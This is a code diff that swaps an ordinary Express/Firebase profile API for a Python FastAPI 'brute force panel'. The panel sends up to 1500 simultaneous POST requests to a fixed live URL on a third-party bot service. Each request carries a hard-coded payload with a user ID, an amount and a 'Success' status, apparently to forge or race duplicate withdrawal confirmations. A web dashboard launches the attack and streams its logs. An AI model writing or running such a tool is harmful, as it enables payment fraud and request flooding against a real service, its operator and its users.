Rename app.js to app.py

app.js

@@ -1,133 +0,0 @@
-import express from 'express';
-import admin from 'firebase-admin';
-import cluster from 'cluster';
-import os from 'os';
-
-const totalCpus = os.cpus().length;
-
-if (cluster.isPrimary) {
-  console.log(`Primary Master Process ${process.pid} is running`);
-  
-  for (let i = 0; i < totalCpus; i++) {
-    cluster.fork();
-  }
-
-  cluster.on('exit', (worker) => {
-    console.log(`Worker ${worker.process.pid} died. Forking a new one...`);
-    cluster.fork();
-  });
-
-} else {
-  const app = express();
-  app.use(express.json());
-
-  const PORT = process.env.PORT || 7860;
-  const BOT_TOKEN = process.env.BOT_TOKEN;
-
-  // --- ফায়ারবেস ইনিশিয়ালাইজেশন ---
-  let app1, app2;
-  try {
-    const firebaseAdmin1 = JSON.parse(process.env.FIREBASE_ADMIN_1 || '{}');
-    const firebaseAdmin2 = JSON.parse(process.env.FIREBASE_ADMIN_2 || '{}');
-
-    app1 = admin.initializeApp({
-      credential: admin.credential.cert(firebaseAdmin1),
-      databaseURL: process.env.FB_DB_1
-    }, 'app1');
-
-    app2 = admin.initializeApp({
-      credential: admin.credential.cert(firebaseAdmin2),
-      databaseURL: process.env.FB_DB_2
-    }, 'app2');
-
-    console.log(`Worker ${process.pid} connected to Firebase.`);
-  } catch (error) {
-    console.error('Firebase initialization error:', error.message);
-  }
-
-  // --- কাস্টম রিকোয়েস্ট-রেসপন্স লগার মিডলওয়্যার ---
-  app.use((req, res, next) => {
-    const startTime = Date.now();
-    
-    // রেসপন্স শেষ হলে এই ফাংশনটি রান করবে
-    res.on('finish', () => {
-      const duration = Date.now() - startTime;
-      console.log(`\n=================== REQUEST LOG [Worker: ${process.pid}] ===================`);
-      console.log(`[${new Date().toISOString()}] ${req.method} ${req.originalUrl}`);
-      console.log(`➜ Incoming Body:`, JSON.stringify(req.body || {}));
-      console.log(`➜ HTTP Status: ${res.statusCode}`);
-      console.log(`➜ Execution Time: ${duration}ms`);
-      console.log(`=================================================================\n`);
-    });
-    
-    next();
-  });
-
-  // --- ডাটা ভ্যালিডেশন ফাংশন ---
-  function verifyIntegrity(intdata, uid, fullName) {
-    if (!intdata || !uid || !fullName) return false;
-    return true; 
-  }
-
-  // --- এপিআই এন্ডপয়েন্ট সমূহ ---
-
-  // ১. /health এন্ডপয়েন্ট
-  app.all('/health', (req, res) => {
-    console.log(`[Worker ${process.pid}] Processing /health request...`);
-    res.status(200).json({ status: "OK", message: "Server is healthy" });
-  });
-
-  // ২. /profile পোস্ট রিকোয়েস্ট এন্ডপয়েন্ট
-  app.post('/profiles', async (req, res) => {
-    const { intdata, uid, full_name } = req.body;
-
-    console.log(`[Worker ${process.pid}] Processing /profile for UID: ${uid}`);
-
-    // ভ্যালিডেশন চেক
-    if (!verifyIntegrity(intdata, uid, full_name)) {
-      console.log(`[Worker ${process.pid}] Validation FAILED for UID: ${uid}`);
-      return res.status(400).json({ error: "Bad Request: Integrity check failed" });
-    }
-
-    let responseData = {};
-
-    try {
-      // কাজের ধাপ ১: DB 1 থেকে উইথড্র ডাটা চেক
-      console.log(`[Worker ${process.pid}] Fetching withdraw data from DB_1 for UID: ${uid}`);
-      const db1 = admin.database(app1);
-      const snapshot1 = await db1.ref(`database/withdraw/${uid}`).once('value');
-      
-      if (snapshot1.exists()) {
-        responseData.withdraw = snapshot1.val();
-        console.log(`[Worker ${process.pid}] Withdraw data FOUND for UID: ${uid}`);
-      } else {
-        console.log(`[Worker ${process.pid}] No withdraw data found for UID: ${uid}`);
-      }
-
-      // কাজের ধাপ ২: DB 2 থেকে ইউজার ডাটা চেক
-      console.log(`[Worker ${process.pid}] Fetching user info from DB_2 for UID: ${uid}`);
-      const db2 = admin.database(app2);
-      const snapshot2 = await db2.ref(`user/${uid}`).once('value');
-      
-      responseData.user_info = snapshot2.exists() ? snapshot2.val() : {};
-      console.log(`[Worker ${process.pid}] User info processed successfully for UID: ${uid}`);
-
-      // ফাইনাল রেসপন্স পাঠানো
-      return res.status(200).json({
-        status: "success",
-        data: responseData
-      });
-
-    } catch (error) {
-      console.error(`[Worker ${process.pid}] Error processing profile:`, error.message);
-      return res.status(500).json({
-        error: "Internal Server Error",
-        details: error.message
-      });
-    }
-  });
-
-  app.listen(PORT, () => {
-    console.log(`Worker ${process.pid} listening on port ${PORT}`);
-  });
-}

app.py

@@ -0,0 +1,153 @@
+from fastapi import FastAPI, BackgroundTasks, Form
+from fastapi.responses import HTMLResponse, JSONResponse
+import asyncio
+import httpx
+import logging
+
+app = FastAPI()
+
+# টার্গেট কনফিগারেশন (ফিক্সড)
+TARGET_URL = "https://thbot-22548r8l.b4a.run/rbl/wd-lv"
+BOT_TOKEN = "YOUR_BOT_TOKEN"  # আপনার বটের টোকেন এখানে দিন
+TELEGRAM_URL = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
+
+# গ্লোবাল লগ লিস্ট (যা ওয়েব স্ক্রিনে লাইভ দেখাবে)
+live_logs = []
+
+async def send_single_brute_request(req_id: int, client: httpx.AsyncClient):
+    payload = {
+        "uid": 8568168081, # আপনার দেওয়া আইডি
+        "amount": "100",
+        "status": "Success"
+    }
+    
+    start_time = asyncio.get_event_loop().time()
+    try:
+        # একই সাথে হিট করার জন্য তৈরি
+        response = await client.post(TARGET_URL, json=payload, timeout=10.0)
+        duration = int((asyncio.get_event_loop().time() - start_time) * 1000)
+        log_msg = f"[✔] Req #{req_id} -> Success! Code: {response.status_code} ({duration}ms)"
+    except Exception as e:
+        log_msg = f"[❌] Req #{req_id} -> Failed! Reason: {str(e)}"
+        
+    live_logs.append(log_msg)
+    print(log_msg) # হাগিং ফেসের ইন্টারনাল লগেও প্রিন্ট হবে
+
+async def run_brute_force_attack(rps: int):
+    global live_logs
+    live_logs.clear() # আগের লগ মুছে ফেলা
+    live_logs.append(f"🔥 ব্রুট ফোর্স অ্যাটাক শুরু হয়েছে! একই সেকেন্ডে {rps} টি রিকোয়েস্ট ফায়ার হচ্ছে...")
+    
+    # লিমিট ছাড়া দ্রুত কানেকশন হ্যান্ডেল করার জন্য ক্লায়েন্ট কনফিগারেশন
+    limits = httpx.Limits(max_connections=rps + 10, max_keepalive_connections=rps)
+    
+    async with httpx.AsyncClient(limits=limits) as client:
+        # একই সাথে (Concurrently) সব রিকোয়েস্ট টাস্ক তৈরি করা
+        tasks = [send_single_brute_request(i + 1, client) for i in range(rps)]
+        
+        # এক ধাক্কায় সব একসাথে এক্সিকিউট করা (True Brute Force)
+        await asyncio.gather(*tasks)
+        
+    live_logs.append("🏁 ফায়ারিং কমপ্লিট!")
+
+@app.post("/start-attack")
+async def start_attack(background_tasks: BackgroundTasks, rps: int = Form(...)):
+    if rps <= 0 or rps > 1500:
+        return JSONResponse({"error": "RPS সীমা ১ থেকে ১৫০০ এর মধ্যে হতে হবে!"}, status_code=400)
+        
+    # ব্যাকগ্রাউন্ডে ব্রুট ফোর্স প্রসেসটি রান করিয়ে দেওয়া যাতে ওয়েব পেজ হ্যাং না করে
+    background_tasks.add_task(run_brute_force_attack, rps)
+    return {"status": "attack_started"}
+
+@app.get("/get-logs")
+async def get_logs():
+    # ফ্রন্টএন্ড জাভাস্ক্রিপ্ট প্রতি সেকেন্ডে এই এপিআই থেকে লাইভ লগ টেনে নেবে
+    return {"logs": live_logs}
+
+@app.get("/", response_class=HTMLResponse)
+async def home_ui():
+    # এটি হাগিং ফেস স্পেস ব্রাউজ করলে যে সুন্দর কালো টার্মিনাল ড্যাশবোর্ডটি দেখাবে তার কোড
+    html_content = """
+    <!DOCTYPE html>
+    <html lang="en">
+    <head>
+        <meta charset="UTF-8">
+        <meta name="viewport" content="width=device-width, initial-scale=1.0">
+        <title>RBL Brute Force Controller</title>
+        <style>
+            body { background-color: #0d1117; color: #c9d1d9; font-family: 'Courier New', Courier, monospace; padding: 20px; }
+            .container { max-width: 700px; margin: 0 auto; background: #161b22; padding: 20px; border-radius: 8px; border: 1px solid #30363d; }
+            h2 { color: #58a6ff; text-align: center; margin-bottom: 20px; }
+            label { font-weight: bold; color: #8b949e; }
+            input[type="number"] { width: 100%; padding: 10px; margin-top: 8px; margin-bottom: 15px; background: #0d1117; border: 1px solid #30363d; color: #fff; border-radius: 4px; font-size: 16px; }
+            button { width: 100%; padding: 12px; background-color: #238636; color: white; border: none; border-radius: 4px; font-weight: bold; cursor: pointer; font-size: 16px; }
+            button:hover { background-color: #2ea043; }
+            .terminal { background-color: #010409; height: 350px; margin-top: 20px; border-radius: 4px; border: 1px solid #30363d; padding: 15px; overflow-y: auto; font-size: 13px; color: #39ff14; box-shadow: inset 0 0 10px #000; }
+            .target-info { background: #21262d; padding: 10px; border-radius: 4px; margin-bottom: 15px; font-size: 12px; color: #8b949e; }
+        </style>
+    </head>
+    <body>
+        <div class="container">
+            <h2>RBL BRUTE FORCE PANEL</h2>
+            <div class="target-info">
+                <strong>🎯 TARGET URL:</strong> https://thbot-22548r8l.b4a.run/rbl/wd-lv<br>
+                <strong>📦 METHOD:</strong> POST (Fixed Payload Active)
+            </div>
+            
+            <label for="rps">একই সেকেন্ডে কত রিকোয়েস্ট পাঠাবেন? (RPS):</label>
+            <input type="number" id="rps" value="100" min="1" max="1500">
+            <button id="fireBtn" onclick="launchAttack()">🚀 LAUNCH CONCURRENT ATTACK</button>
+            
+            <div class="terminal" id="terminalLog">>> কন্ট্রোল প্যানেল রেডি। ইনপুট দিয়ে ফায়ার করুন...</div>
+        </div>
+
+        <script>
+            let logInterval;
+            
+            async function launchAttack() {
+                const rps = document.getElementById('rps').value;
+                const btn = document.getElementById('fireBtn');
+                const terminal = document.getElementById('terminalLog');
+                
+                btn.disabled = true;
+                btn.innerText = "FIRING...";
+                terminal.innerHTML = "📡 সার্ভারে রিকোয়েস্ট পাঠানো হচ্ছে...<br>";
+                
+                // এপিআই-তে রিকোয়েস্ট পাঠানো
+                let formData = new FormData();
+                formData.append('rps', rps);
+                
+                await fetch('/start-attack', { method: 'POST', body: formData });
+                
+                // লাইভ লগ রিড করা শুরু
+                clearInterval(logInterval);
+                logInterval = setInterval(fetchLogs, 800);
+                
+                // ৩ সেকেন্ড পর বাটন আবার একটিভ করা
+                setTimeout(() => {
+                    btn.disabled = false;
+                    btn.innerText = "🚀 LAUNCH CONCURRENT ATTACK";
+                }, 3000);
+            }
+
+            async function fetchLogs() {
+                const response = await fetch('/get-logs');
+                const data = await response.json();
+                const terminal = document.getElementById('terminalLog');
+                
+                if(data.logs.length > 0) {
+                    terminal.innerHTML = data.logs.map(log => {
+                        if(log.includes('[✔]')) return `<span style="color:#39ff14">${log}</span>`;
+                        if(log.includes('[❌]')) return `<span style="color:#ff3333">${log}</span>`;
+                        return `<span style="color:#58a6ff">${log}</span>`;
+                    }).join('<br>');
+                    
+                    // অটো স্ক্রোল ডাউন
+                    terminal.scrollTop = terminal.scrollHeight;
+                }
+            }
+        </script>
+    </body>
+    </html>
+    """
+    return html_content